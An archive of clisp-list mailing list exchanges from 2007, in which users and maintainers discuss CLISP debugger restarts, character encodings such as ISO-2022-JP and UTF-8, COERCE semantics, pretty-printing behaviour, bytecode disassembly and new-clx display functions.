Cheers,
Klaus

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Sorry for posting this, but I haven't been able to find a tutorial on
debugging in clisp.
Does anyone know of any?  I have tried looking at the documentation
but I am not getting it.  Is there anyone who can answer just a couple
of questions for me?

For example, what is the difference between STORE-VALUE and USE-VALUE
[1]> (aa 1 2)

** - Continuable Error
EVAL: undefined function AA
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for (FDEFINITION 'AA).
USE-VALUE      :R2      You may input a value to be used instead of
(FDEFINITION 'AA).

Then if I for example selec :R1 what should be entered next
(yes I realize this depends on what you are trying to do, just give me
a example that does anything)

Break 1 [2]> :R1

New (FDEFINITION 'AA):

Thanks
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Steve Morin wrote:
> Sorry for posting this, but I haven't been able to find a tutorial on
> debugging in clisp.

do you volunteer to write one?
preferably, as an extension to http://clisp.cons.org/impnotes/debugger.html

> For example, what is the difference between STORE-VALUE and USE-VALUE

http://www.lisp.org/HyperSpec/Body/any_use-value.html
http://www.lisp.org/HyperSpec/Body/any_store-value.html

> (yes I realize this depends on what you are trying to do, just give me
> a example that does anything)
> 
> Break 1 [2]> :R1
> 
> New (FDEFINITION 'AA):


[4]> (foo 6 7)

*** - EVAL: undefined function FOO
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of 
(FDEFINITION 'FOO).
RETRY          :R2      Retry
STORE-VALUE    :R3      You may input a new value for (FDEFINITION FOO).
ABORT          :R4      ABORT
Break 1 [5]> :r3
New (FDEFINITION 'FOO): #.#'*
42
[6]> (foo 6 7)
42

note that what you type to the prompt is not evaluated, so if you just 
type #'*, you will be entering the list "(FUNCTION *)", not the function 
object. this is why you need "#."

Sam.



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Sure i'll write one as soon, as I figure out it out my self.  I think
you just snagged your self a volunteer.
Steve

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> Steve Morin wrote:
> > Sorry for posting this, but I haven't been able to find a tutorial on
> > debugging in clisp.
>
> do you volunteer to write one?
> preferably, as an extension to http://clisp.cons.org/impnotes/debugger.html
>
> > For example, what is the difference between STORE-VALUE and USE-VALUE
>
> http://www.lisp.org/HyperSpec/Body/any_use-value.html
> http://www.lisp.org/HyperSpec/Body/any_store-value.html
>
> > (yes I realize this depends on what you are trying to do, just give me
> > a example that does anything)
> >
> > Break 1 [2]> :R1
> >
> > New (FDEFINITION 'AA):
>
>
> [4]> (foo 6 7)
>
> *** - EVAL: undefined function FOO
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of
> (FDEFINITION 'FOO).
> RETRY          :R2      Retry
> STORE-VALUE    :R3      You may input a new value for (FDEFINITION FOO).
> ABORT          :R4      ABORT
> Break 1 [5]> :r3
> New (FDEFINITION 'FOO): #.#'*
> 42
> [6]> (foo 6 7)
> 42
>
> note that what you type to the prompt is not evaluated, so if you just
> type #'*, you will be entering the list "(FUNCTION *)", not the function
> object. this is why you need "#."
>
> Sam.
>
>


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So would you use the same input for R1 as you use for r3.  I tried
that and it didn't seam to work.
Steve

On 1/23/07, Sam Steingold <sds@gnu.org> wrote:
> Steve Morin wrote:
> > Sorry for posting this, but I haven't been able to find a tutorial on
> > debugging in clisp.
>
> do you volunteer to write one?
> preferably, as an extension to http://clisp.cons.org/impnotes/debugger.html
>
> > For example, what is the difference between STORE-VALUE and USE-VALUE
>
> http://www.lisp.org/HyperSpec/Body/any_use-value.html
> http://www.lisp.org/HyperSpec/Body/any_store-value.html
>
> > (yes I realize this depends on what you are trying to do, just give me
> > a example that does anything)
> >
> > Break 1 [2]> :R1
> >
> > New (FDEFINITION 'AA):
>
>
> [4]> (foo 6 7)
>
> *** - EVAL: undefined function FOO
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of
> (FDEFINITION 'FOO).
> RETRY          :R2      Retry
> STORE-VALUE    :R3      You may input a new value for (FDEFINITION FOO).
> ABORT          :R4      ABORT
> Break 1 [5]> :r3
> New (FDEFINITION 'FOO): #.#'*
> 42
> [6]> (foo 6 7)
> 42
>
> note that what you type to the prompt is not evaluated, so if you just
> type #'*, you will be entering the list "(FUNCTION *)", not the function
> object. this is why you need "#."
>
> Sam.
>
>


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Hi, Klaus.

Although the wikipedia article http://en.wikipedia.org/wiki/ISO-2022- 
JP indicates (in some parts) that iso-2022 uses 8-bits (also linking  
to http://en.wikipedia.org/wiki/JIS_X_0201), the RFC 1468 (http:// 
www.ietf.org/rfc/rfc1468.txt) describes the 1-byte roman characters  
as 7-bit. Thus, 168 in 1-byte mode is not allowed; and even the  
commandline 'iconv' will complain about that.

The correct sequence of characters in iso-2022-jp in your example,  
using two-byte encoding of the katakana character, would be as  
follows (taking care to end the string in ASCII):

(map 'list 'char-code
   (convert-string-from-bytes #(65 92  27 40 74  92  27 36 66  37 35   
27 40 66)
    (make-encoding
     :charset "ISO-2022-JP"
     :line-terminator :unix
     :input-error-action #\Null
     :output-error-action #\Null)))

Giving
(65 92 165 12451)

/vidar


Den 23. jan. 2007 kl. 15:50 skrev Klaus Ebbe Grue:


> Hi clisp-list@lists.sourceforge.net,
>
> If I type
>
> (map 'list 'char-code
>   (convert-string-from-bytes #(65 92 27 40 74 92 168)
>    (make-encoding
>     :charset "ISO-2022-JP"
>     :line-terminator :unix
>     :input-error-action #\Null
>     :output-error-action #\Null)))
>
> then I get
>
> (65 92 165 0)
>
> The input #(65 92 27 40 74 92 168) consists of an ascii A (65), an
> ascii backslash (92), a shift to Japanese sequence (27 40 74), a  
> yen sign
> (92) and a katakana glyph (168).
>
> The output (65 92 165 0) consists of an ascii A (65), an ascii  
> backslash
> (92) a yen sign (165) and an invalid character (0).
>
> So the shift to Japanese sequence (27 40 74) seems to be  
> recognized, but
> katakana (code 161-223) does not seem to be recognized.
>
> Any suggestions?
>
> Cheers,
> Klaus
>
> ---
>
> [grue@thor grue]$ clisp --version
> GNU CLISP 2.41 (2006-10-13) (built 3370084031) (memory 3370084648)
> Software: GNU C 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
> gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit - 
> Wreturn-type
> -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
> -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a
> libavcall.a libcallback.a
> /usr/local/lib/libreadline.so -Wl,-rpath -Wl,/usr/local/lib - 
> lncurses -ldl
> -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib
> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
> SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.4
> libreadline 5.1
> Features:
> (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL
> COMMON-LISP
>   LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES  
> SCREEN FFI
>   GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
> C Modules: (clisp i18n syscalls regexp readline)
> Installation directory: /usr/local/lib/clisp/
> User language: ENGLISH
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Steve Morin wrote:
> So would you use the same input for R1 as you use for r3.  I tried
> that and it didn't seam to work.

wfm:

[1]> (foo 6 7)

*** - EVAL: undefined function FOO
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of 
(FDEFINITION 'FOO).
RETRY          :R2      Retry
STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'FOO).
ABORT          :R4      ABORT
Break 1 [2]> use-value
Use instead of (FDEFINITION 'FOO): #.#'*
42
[3]> (foo 6 7)

*** - EVAL: undefined function FOO
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of 
(FDEFINITION 'FOO).
RETRY          :R2      Retry
STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'FOO).
ABORT          :R4      ABORT
Break 1 [4]> store-value
New (FDEFINITION 'FOO): #.#'*
42
[5]> (foo 6 7)
42
[6]> #'foo
#<SYSTEM-FUNCTION *>
[7]>

note also that you can use TAB to complete "use-v" to "use-value" &c.

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Thanks for the advice Klaus & Pascal!
Although Pascal's advice is clear, I'm aware of the steps I need to follow
to make these functions, I know this.
What I don't know is the code... (because I don't have much experience yet)

For now I have another question:

How can I define a function with unlimited arguments?
Example:
(defun test (a &optional b c d e f g h i j k  etc.... )

I would like it so that it doesnt matter how many arguments are there, so
that it can be processed with a loop function until all arguments are used.

Also it must be possible that in the function I can say: setf list (list
*all arguments*)
What command then do I need for *all arguments* ?

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> How can I define a function with unlimited arguments?
> (defun test (a &optional b c d e f g h i j k  etc.... )

I think you should *not* ask clisp-list@lists.sourceforge.net.
I will send an answer directly to tomkorver@gmail.com.

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Hans3 writes:
> Thanks for the advice Klaus & Pascal!
> Although Pascal's advice is clear, I'm aware of the steps I need to fol=
low
> to make these functions, I know this.
> What I don't know is the code... (because I don't have much experience =
yet)

Well, the question is what does it mean to interpolate?

Assume we're considering only one couple of points=20
(interpolate '(4) '(8) 3)

we have the points of coordinates (0,4) and (1,8) and we want to find
one (=3D3-2, since we count these two points) point on the line that
pass thru these two points.

To do that, you need to compute the equation of the line from the two
points, and then you need to divide the horizontal distance between
the two points by the number of interpolated points plus one, and
then, you can compute the  y coordinate.


In this example, the equation of the line passing thru (0,4) and (1,8)
is: y=3D4+4x

(since 4=3D4+4*0
   and 8=3D4=3D4*1)

and since we need only one point in the middle, with x =3D (1-0)/2 =3D 0.=
5
we find y =3D 4+4*0.5 =3D 6
therefore the result is: '((4) (6) (8))


So, what you need to do, is to write a  function that finds the
parameters a and b of the line y=3Dax+b, that passes between two points
of coordinates (0,y0) and (1,y1).

Then you must compute the list of intermediate y's for the serie of n
x's going from 0 to 1.=20

Once you can do it for one couple of points, ou can do it for any
number of couples of points given in two lists.


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   > How can I define a function with unlimited arguments?
   > (defun test (a &optional b c d e f g h i j k  etc.... )

   I think you should *not* ask clisp-list@lists.sourceforge.net.
   I will send an answer directly to tomkorver@gmail.com.

Google [Hyperspec arguments] gets http://www.lisp.org/HyperSpec/Body/glo_a.html

argument n.
	1. (of a function) an object which is offered as data to the function when it is called.
	2. (of a format control) a format argument.

which is not helpful, mere links to equally terse glossary definitions,
i.e., function, object, format control, format argument.

A nice low-effort cure would be to cross-reference the glossary,
e.g., click the "argument" definition for a page of links to

	3.4.1 Ordinary Lambda Lists

and so on.  Surely someone did this already?

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Hope that I'm sending this to the right clisp address

I run my programs on different lisp compilers to make sure that the=20
code works everywhere.  I tried out SBCL on my Intel-based Mac.  My=20
program works fine under clisp, but SBCL choked on this:

   (coerce s 'array)

I fixed it by writing my own coerce clone, but communicated the=20
apparent bug to the SBCL guys.  They wrote back that you are not=20
supposed to be able to do that, according to the ANSI hyperspec.  You=20
should, they wrote, only be able to write this:

   (coerce s 'vector)

My question is this, perhaps splitting hairs: Is clisp correct in=20
letting you coerce 'list to 'array?  Should it perhaps generate an=20
error?  As of now, it is liberal and does it anyhow.  The point is that=20=

I was coercing a tree and sbcl didn=92t know exactly how to do it.  In =
to=20
several dimensions?  Into only one dimension?

Not a big deal.

-- devious dan



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Dan Starr wrote:
> Hope that I'm sending this to the right clisp address
yes.

> I run my programs on different lisp compilers to make sure that the 
> code works everywhere.
good idea!

> My question is this, perhaps splitting hairs: Is clisp correct in 
> letting you coerce 'list to 'array?
probably yes.

> Should it perhaps generate an error?
probably no.

> As of now, it is liberal and does it anyhow.

CLISP follows the spirit of the function COERCE and turns your list into 
an array (since a vector IS an array).
in the same venue, it might have done
(coerce '(1 2 3) '(or array hash-table))
== (coerce '(1 2 3) 'array)
== (coerce '(1 2 3) 'vector)

This is a compliant extension to the standard:
http://www.lisp.org/HyperSpec/Body/fun_coerce.html
does not say that the "rules" listed are exhaustive.
specifically, it does not say "if the result-type is not one of the 
listed types, an error is signaled".
instead, it says "If a coercion is not possible, an error of type 
type-error is signaled".
obviously, a coercion of a list to an array (specifically, to a vector) 
is, indeed, possible - just not specified by the standard,
e.g., one can imagine the following compliant behavior:
(coerce '((1 2) (3 4)) '(simple-array 2)) => #2a((1 2) (3 4))

again, the issue hinges on whether the rules list is exhaustive or not.
It never says it is, so CLISP assumes it is not.
It never says it is not, so SBCL assumes it is.

thanks.

Sam.




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Hi all,

I'm trying to call a function returning a zero-terminated sequence of 
strings (via dynamic FFI on win32), like this:

(defpackage "FFI-USER" (:use "COMMON-LISP" "FFI"))
(in-package :ffi-user)

(setf ext:*foreign-encoding* charset:utf-8)

(def-call-out test (:name "message")
   (:language :C)
   (:library "libtest.dll")
   (:arguments)
   (:return-type (c-array-ptr c-string)))

I think this should work?
Depending on the charset I use, FFI does not find the function in the
library, or I'm getting a sigsegv in strlen() when converting the result
from foreign format.

Any ideas?

Michael



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I want to have clisp consider all the files it handles as utf-8 files.

Is:
$ clisp -Efile utf-8

enough ? It looks like it is not. I try to load a file saved in utf-8  
and containing Japanese characters so it seems to load ok, but when I  
call the function with Japanese I get:

> *** - Character #\u7686 cannot be represented in the character set  
> CHARSET:ASCII

The origin of my question is that I want to load files in slime  
without having to type:

> :external-format charset:utf-8

each time I load a file. So I thought starting clisp with some  
appropriate options would do. But I can't seem to find the  
appropriate option...

Jean-Christophe Helary






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On Thursday 01 February 2007 09:02, Jean-Christophe Helary wrote:
> I want to have clisp consider all the files it handles as utf-8
> files.
>
> Is:
> $ clisp -Efile utf-8
>
> enough ? It looks like it is not. I try to load a file saved in
> utf-8 and containing Japanese characters so it seems to load ok,
> but when I
>
> call the function with Japanese I get:
> > *** - Character #\u7686 cannot be represented in the character
> > set CHARSET:ASCII
>
> The origin of my question is that I want to load files in slime
>
> without having to type:
> > :external-format charset:utf-8

Perhaps it helps setting the LANG environment variable before
starting clisp. E.g. my LANG is set to de_DE.UTF-8 and clisp
opens files with external-format as utf-8 by default.

Stefan


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Jean-Christophe Helary writes:
> I want to have clisp consider all the files it handles as utf-8 files.
>=20
> Is:
> $ clisp -Efile utf-8
>=20
> enough ? It looks like it is not. I try to load a file saved in utf-8 =20
> and containing Japanese characters so it seems to load ok, but when I =20
> call the function with Japanese I get:
>=20
> > *** - Character #\u7686 cannot be represented in the character set =20
> > CHARSET:ASCII
>=20
> The origin of my question is that I want to load files in slime =20
> without having to type:
>=20
> > :external-format charset:utf-8
>=20
> each time I load a file. So I thought starting clisp with some =20
> appropriate options would do. But I can't seem to find the =20
> appropriate option...

Check that you're not setting CUSTOM:*DEFAULT-FILE-ENCODING* in ~/.clispr=
c

Use:  (SETF CUSTOM:*DEFAULT-FILE-ENCODING* CHARSET:UTF-8)
if it's not already this.

--=20
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On 1 f=C3=A9vr. 07, at 22:36, Pascal Bourguignon wrote:

> Jean-Christophe Helary writes:
>> I want to have clisp consider all the files it handles as utf-8 =20
>> files.
>>
>> Is:
>> $ clisp -Efile utf-8
>>
>> enough ? It looks like it is not. I try to load a file saved in utf-8
>> and containing Japanese characters so it seems to load ok, but when I
>> call the function with Japanese I get:
>>
>>> *** - Character #\u7686 cannot be represented in the character set
>>> CHARSET:ASCII
>>
>> The origin of my question is that I want to load files in slime
>> without having to type:
>>
>>> :external-format charset:utf-8
>>
>> each time I load a file. So I thought starting clisp with some
>> appropriate options would do. But I can't seem to find the
>> appropriate option...
>
> Check that you're not setting CUSTOM:*DEFAULT-FILE-ENCODING* in =20
> ~/.clisprc
>
> Use:  (SETF CUSTOM:*DEFAULT-FILE-ENCODING* CHARSET:UTF-8)
> if it's not already this.


Ok, now my .clisprc includes this line. It seems to be loaded, but I =20
get the same error message (I am doing all that from the command line).

The file is in utf-8, I just checked. And it contains the following =20
lines:

(defun konnichiha ()
   (format t "=E7=9A=86=E3=81=95=E3=82=93=E3=80=81=E4=BB=8A=E6=97=A5=E3=81=
=AF=E3=80=82"))
(defun bonjour ()
   (format t "Bonjour tout le monde."))

and the full messages is:

;; Loading file /Users/suzume/.clisprc ...
;; Loaded file /Users/suzume/.clisprc
[1]> (load "~/Documents/Travail/Programmes/lisp/konnichiha.lisp")
;; Loading file /Users/suzume/Documents/Travail/Programmes/lisp/=20
konnichiha.lisp ...
;; Loaded file /Users/suzume/Documents/Travail/Programmes/lisp/=20
konnichiha.lisp
T
[2]> (bonjour)
Bonjour tout le monde.
NIL
[3]> (konnichiha)

*** - Character #\u7686 cannot be represented in the character set =20
CHARSET:ASCII
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]>

...

Jean-Christophe Helary=


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Jean-Christophe Helary wrote:
> I want to have clisp consider all the files it handles as utf-8 files.
> 
> Is:
> $ clisp -Efile utf-8
> 
> enough ? It looks like it is not. I try to load a file saved in utf-8  
> and containing Japanese characters so it seems to load ok, but when I  
> call the function with Japanese I get:
> 
>> *** - Character #\u7686 cannot be represented in the character set  
>> CHARSET:ASCII

if it actually comes to this, the file has already been successfully loaded.
the problem is probably *terminal-encoding*, as explained in the FAQ.
http://clisp.cons.org/impnotes/faq.html#faq-enc-err

Sam.



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On 1 f=C3=A9vr. 07, at 23:08, Sam Steingold wrote:

> Jean-Christophe Helary wrote:
>> I want to have clisp consider all the files it handles as utf-8 =20
>> files.
>>
>> Is:
>> $ clisp -Efile utf-8
>>
>> enough ? It looks like it is not. I try to load a file saved in utf-8
>> and containing Japanese characters so it seems to load ok, but when I
>> call the function with Japanese I get:
>>
>>> *** - Character #\u7686 cannot be represented in the character set
>>> CHARSET:ASCII
>
> if it actually comes to this, the file has already been =20
> successfully loaded.
> the problem is probably *terminal-encoding*, as explained in the FAQ.
> http://clisp.cons.org/impnotes/faq.html#faq-enc-err

Sam,

Thank you so much !

So what I need to do is start clisp with the -E utf-8 flag (from the =20
command line) or put the same thing in my .emacs at the place where =20
slime calls my lisp :) (along with the .clisprc setting that Pascal =20
suggested).

I just tried from the command line and had a nice "=E7=9A=86=E3=81=95=E3=82=
=93=E3=80=81=E4=BB=8A=E6=97=A5=20
=E3=81=AF=E3=80=82" displayed. I am so happy :)

If I remember well, I had the exact same issue in april, and I could =20
not parse anything that was told me on the slime lists. I closed my =20
copy of "Practical Common Lisp" and left the book where it was until =20
today...

I suppose I'm ready to go a bit further now :)

JC=


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Jean-Christophe Helary writes:
>=20
> On 1 f=C3=A9vr. 07, at 22:36, Pascal Bourguignon wrote:
>=20
> > Jean-Christophe Helary writes:
> >> I want to have clisp consider all the files it handles as utf-8 =20
> >> files.
> >>
> >> Is:
> >> $ clisp -Efile utf-8
> >>
> >> enough ? It looks like it is not. I try to load a file saved in utf-=
8
> >> and containing Japanese characters so it seems to load ok, but when =
I
> >> call the function with Japanese I get:
> >>
> >>> *** - Character #\u7686 cannot be represented in the character set
> >>> CHARSET:ASCII
> >>
> >> The origin of my question is that I want to load files in slime
> >> without having to type:
> >>
> >>> :external-format charset:utf-8
> >>
> >> each time I load a file. So I thought starting clisp with some
> >> appropriate options would do. But I can't seem to find the
> >> appropriate option...
> >
> > Check that you're not setting CUSTOM:*DEFAULT-FILE-ENCODING* in =20
> > ~/.clisprc
> >
> > Use:  (SETF CUSTOM:*DEFAULT-FILE-ENCODING* CHARSET:UTF-8)
> > if it's not already this.
>=20
>=20
> Ok, now my .clisprc includes this line. It seems to be loaded, but I =20
> get the same error message (I am doing all that from the command line).
>=20
> The file is in utf-8, I just checked. And it contains the following =20
> lines:
>=20
> (defun konnichiha ()
>    (format t "=E7=9A=86=E3=81=95=E3=82=93=E3=80=81=E4=BB=8A=E6=97=A5=E3=
=81=AF=E3=80=82"))
> (defun bonjour ()
>    (format t "Bonjour tout le monde."))
>=20
> and the full messages is:
>=20
> ;; Loading file /Users/suzume/.clisprc ...
> ;; Loaded file /Users/suzume/.clisprc
> [1]> (load "~/Documents/Travail/Programmes/lisp/konnichiha.lisp")
> ;; Loading file /Users/suzume/Documents/Travail/Programmes/lisp/=20
> konnichiha.lisp ...
> ;; Loaded file /Users/suzume/Documents/Travail/Programmes/lisp/=20
> konnichiha.lisp
> T

The file loaded successfully!


> [2]> (bonjour)
> Bonjour tout le monde.
> NIL
> [3]> (konnichiha)
>=20
> *** - Character #\u7686 cannot be represented in the character set =20
> CHARSET:ASCII
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [4]>

Your terminal is an ASCII terminal.

Use an UTF-8 terminal and -Eterminal UTF-8 -Efile UTF-8 (or just -E UTF-8=
).

(DEFUN LSENCOD ()
 (FORMAT T "~%~{~32A ~A~%~}~%"
  (LIST 'CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING*
        'CUSTOM:*FOREIGN-ENCODING*      CUSTOM:*FOREIGN-ENCODING*
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        'CUSTOM:*TERMINAL-ENCODING*     CUSTOM:*TERMINAL-ENCODING*
        'SYSTEM::*HTTP-ENCODING*        SYSTEM::*HTTP-ENCODING*))
 (VALUES))

You can use this command to see all the encodings set.


--=20
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On 2 f=E9vr. 07, at 02:36, Pascal Bourguignon wrote:

>> *** - Character #\u7686 cannot be represented in the character set
>> CHARSET:ASCII
>> The following restarts are available:
>> ABORT          :R1      ABORT
>> Break 1 [4]>
>
> Your terminal is an ASCII terminal.

I use OSX terminal and the display menu gives me "character set =20
encoding utf-8"

> Use an UTF-8 terminal and -Eterminal UTF-8 -Efile UTF-8 (or just -E =20=

> UTF-8).

Sam's indication eventually solve the problem. Now I ca run clisp =20
with the .clisprc you suggested, _and_ with -E utf-8 and everuthing =20
is solved (at least in terminal, now I need to check that in slime).

Thank you for the help.

> (DEFUN LSENCOD ()
>  (FORMAT T "~%~{~32A ~A~%~}~%"
>   (LIST 'CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING*
>         'CUSTOM:*FOREIGN-ENCODING*      CUSTOM:*FOREIGN-ENCODING*
>         'CUSTOM:*MISC-ENCODING*         CUSTOM:*MISC-ENCODING*
>         'CUSTOM:*PATHNAME-ENCODING*     CUSTOM:*PATHNAME-ENCODING*
>         'CUSTOM:*TERMINAL-ENCODING*     CUSTOM:*TERMINAL-ENCODING*
>         'SYSTEM::*HTTP-ENCODING*        SYSTEM::*HTTP-ENCODING*))
>  (VALUES))
>
> You can use this command to see all the encodings set.

Jean-Christophe Helary






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(section below delimited by blank lines)

Why does the the following:

(with-open-file (s "x.lis" :direction :output)
  (progn 
    (princ "embedded newline>
<there" s)
    (princ "hello" s)
    (princ "embedded newline>
<there" s)))

produce:

embedded newline>
<therehello
embedded newline>
<there

instead of:

embedded newline>
<therehelloembedded newline>
<there

CMU and SBCL both produce the latter.
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T. Kurt Bond writes:
> (section below delimited by blank lines)
>=20
> Why does the the following:
>=20
> (with-open-file (s "x.lis" :direction :output)
>   (progn=20
>     (princ "embedded newline>
> <there" s)
>     (princ "hello" s)
>     (princ "embedded newline>
> <there" s)))
>=20
> produce:
>=20
> embedded newline>
> <therehello
> embedded newline>
> <there
>=20
> instead of:
>=20
> embedded newline>
> <therehelloembedded newline>
> <there
>=20
> CMU and SBCL both produce the latter.

This is still conformant!

PRINC is influenced by various special variables, including
*PRINT-PRETTY*, and the initial value of these variable is
implementation dependant.  So it seems that cmucl and sbcl choose one
setting, while clisp chooses the other.=20

So you should explicitely set these *PRINT-...* variables to what you
want.

C/USER[21]> (dolist (*PRINT-PRETTY* '(nil t))
(format t "~% With *PRINT-PRETTY* =3D ~S ~%" *print-pretty*)
  (progn=20
    (princ "embedded newline>
<there")
    (princ "hello")
    (princ "embedded newline>
<there")))

 With *PRINT-PRETTY* =3D NIL=20
embedded newline>
<therehelloembedded newline>
<there
 With *PRINT-PRETTY* =3D T=20
embedded newline>
<therehello
embedded newline>
<there
NIL
C/USER[22]>=20

--=20
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http://clisp.podval.org/impnotes/faq.html#faq-pp-newline

PS. I want $1 whenever I answer a question with a link to the manual.
PPS. I want $10 whenever I answer a question with a link to the FAQ.
PPPS. http://sourceforge.net/donate/index.php?group_id=1355
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Sam Steingold writes:
> http://clisp.podval.org/impnotes/faq.html#faq-pp-newline
>=20
> PS. I want $1 whenever I answer a question with a link to the manual.
> PPS. I want $10 whenever I answer a question with a link to the FAQ.
> PPPS. http://sourceforge.net/donate/index.php?group_id=3D1355
> PPPPS. the above is a joke, in case you doubt.

Yes, but not a reason not to be generous ;-)=20
(as soon as I can, I will).

--=20
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Pascal Bourguignon wrote:
 > Sam Steingold writes:
 >> http://clisp.podval.org/impnotes/faq.html#faq-pp-newline
 >>
 >> PS. I want $1 whenever I answer a question with a link to the manual.
 >> PPS. I want $10 whenever I answer a question with a link to the FAQ.
 >> PPPS. http://sourceforge.net/donate/index.php?group_id=1355
 >> PPPPS. the above is a joke, in case you doubt.
 >
 > Yes, but not a reason not to be generous ;-)

this is not a question of generosity.
note that I am not asking for money for answering ordinary questions.
I am talking about _fines_ for not looking into the manual (or even the 
FAQ!).
and, of course, the fine is paid to the person who posts the link, not 
necessarily to me.


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Hello,

There is a CLISP bytecode --> Java bytecode task listed at:
http://sourceforge.net/pm/?group_id=1355
but following that link yields nothing.
I wonder, has any progress been made on that? I found some
discussion of the idea in the mailing list archives from 2001, but
I wasn't able to find anything more recent.

My interest here is to run a CL program (Maxima) on a JVM
(something which is requested from time to time on the Maxima
mailing list).

Thanks for any information.

Robert Dodier


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Hi,

Robert Dodier wrote:
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> There is a CLISP bytecode --> Java bytecode task listed at:
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> but following that link yields nothing.
> I wonder, has any progress been made on that?

no one is working on this.
would you like to volunteer?

> My interest here is to run a CL program (Maxima) on a JVM

I think your best bet is ABCL at this time.

Sam.




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On 2/14/07, Sam Steingold <sds@gnu.org> wrote:

> > There is a CLISP bytecode --> Java bytecode task listed at:
> > http://sourceforge.net/pm/?group_id=1355
> > but following that link yields nothing.
> > I wonder, has any progress been made on that?
>
> no one is working on this.
> would you like to volunteer?

I'll take a look at it. Is there a pretty printer for Clisp bytecode
output? Or even a not-so-pretty-printer -- I am just looking for
a way to dump out Clisp bytecodes in plain text.

> > My interest here is to run a CL program (Maxima) on a JVM
>
> I think your best bet is ABCL at this time.

I tried that -- I managed to recompile Maxima but the result fails
the Maxima test suite. I didn't investigate since the ABCL project
is dormant, and Maxima + ABCL was terribly slow anyway.

Thanks for the info.

Robert


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Robert Dodier wrote:
> On 2/14/07, Sam Steingold <sds@gnu.org> wrote:
> 
>>> There is a CLISP bytecode --> Java bytecode task listed at:
>>> http://sourceforge.net/pm/?group_id=1355
>>> but following that link yields nothing.
>>> I wonder, has any progress been made on that?
>> no one is working on this.
>> would you like to volunteer?
> 
> I'll take a look at it. Is there a pretty printer for Clisp bytecode
> output? Or even a not-so-pretty-printer -- I am just looking for
> a way to dump out Clisp bytecodes in plain text.

the true pretty-printer is DISASSEMBLE.
http://clisp.cons.org/impnotes/bytecode.html



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Robert Dodier writes:
> On 2/14/07, Sam Steingold <sds@gnu.org> wrote:
> 
> > > There is a CLISP bytecode --> Java bytecode task listed at:
> > > http://sourceforge.net/pm/?group_id=1355
> > > but following that link yields nothing.
> > > I wonder, has any progress been made on that?
> >
> > no one is working on this.
> > would you like to volunteer?
> 
> I'll take a look at it. Is there a pretty printer for Clisp bytecode
> output? Or even a not-so-pretty-printer -- I am just looking for
> a way to dump out Clisp bytecodes in plain text.

(cl:disassemble 'some-function)

But you may have to do your own walking for some of the data in the
"closure" structures, using accessors in the SYSTEM package.

For example, cl:disassemble doesn't dump the local and anonymous
functions defined in a function.


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Pascal Bourguignon wrote:
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> But you may have to do your own walking for some of the data in the
> "closure" structures, using accessors in the SYSTEM package.
> 
> For example, cl:disassemble doesn't dump the local and anonymous
> functions defined in a function.

LOCAL macro is what you are looking for.


[7]> (defun f (a l) (flet ((g (x) (* a x))) (mapcar #'g l)))
F
[8]> (disassemble 'f)

Disassembly of function F
(CONST 0) = #<COMPILED-FUNCTION F-G>
2 required arguments
0 optional arguments
No rest parameter
No keyword parameters
9 byte-code instructions:
0     (NIL)
1     (MAKE-VECTOR1&PUSH 1)
3     (LOAD&STOREC 3 0 0)
7     (LOAD&PUSH 0)
8     (COPY-CLOSURE&PUSH 0 1)             ; #<COMPILED-FUNCTION F-G>
11    (LOAD&PUSH 0)
12    (LOAD&PUSH 4)
13    (CALLSR 0 22)                       ; MAPCAR
16    (SKIP&RET 5)
NIL
[9]> (disassemble (local f g))

Disassembly of function F-G
(CONST 0) = NIL
1 required argument
0 optional arguments
No rest parameter
No keyword parameters
4 byte-code instructions:
0     (LOADV&PUSH 0 1)
3     (LOAD&PUSH 2)
4     (CALLSR 2 55)                       ; *
7     (SKIP&RET 2)
NIL
[10]>


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Hi clist-list,

Can anyone give me a pointer to a new-clx development site, a new-clx faq
or something?

Reason: I did

> (display-resource-id-base (close-display (open-display "127.0.0.1")))

and got

> Internal error: statement in file "clx.f", line 1838 has been 
> reached!! Please send the authors of the program a description how 
> you produced this error!



By the way, if a new-clx expert reads this e-mail: How does one test 
whether or not a given display is open or closed? I am trying to program a 
function (safe-close-display d) which closes d if d is an open display and 
does nothing if d is no display or a closed display.

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> * Klaus Ebbe Grue <tehr@qvxh.qx> [2007-02-16 10:11:22 +0100]:
>
> Can anyone give me a pointer to a new-clx development site, a new-clx
> faq or something?

sources is your doc (other than the general CLX documentation)

> Reason: I did
>
>> (display-resource-id-base (close-display (open-display "127.0.0.1")))
>
> and got
>
>> Internal error: statement in file "clx.f", line 1838 has been 
>> reached!! Please send the authors of the program a description how 
>> you produced this error!

XLIB:DISPLAY-RESOURCE-ID-BASE is not implemented, see the sources.

http://www.cygwin.com/acronyms/#PTC

> By the way, if a new-clx expert reads this e-mail: How does one test
> whether or not a given display is open or closed? I am trying to
> program a function (safe-close-display d) which closes d if d is an
> open display and does nothing if d is no display or a closed display.

XLIB:CLOSED-DISPLAY-P



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Dear Sam,

>> Can anyone give me a pointer to a new-clx development site, a new-clx
>> faq or something?
>
> sources is your doc (other than the general CLX documentation)

Thanks - (pointer to a new-clx development site) = nil
was what I needed to get on. modules/clx/new-clx/README answers all my 
questions.

>> How does one test whether or not a given display is open or closed?
>
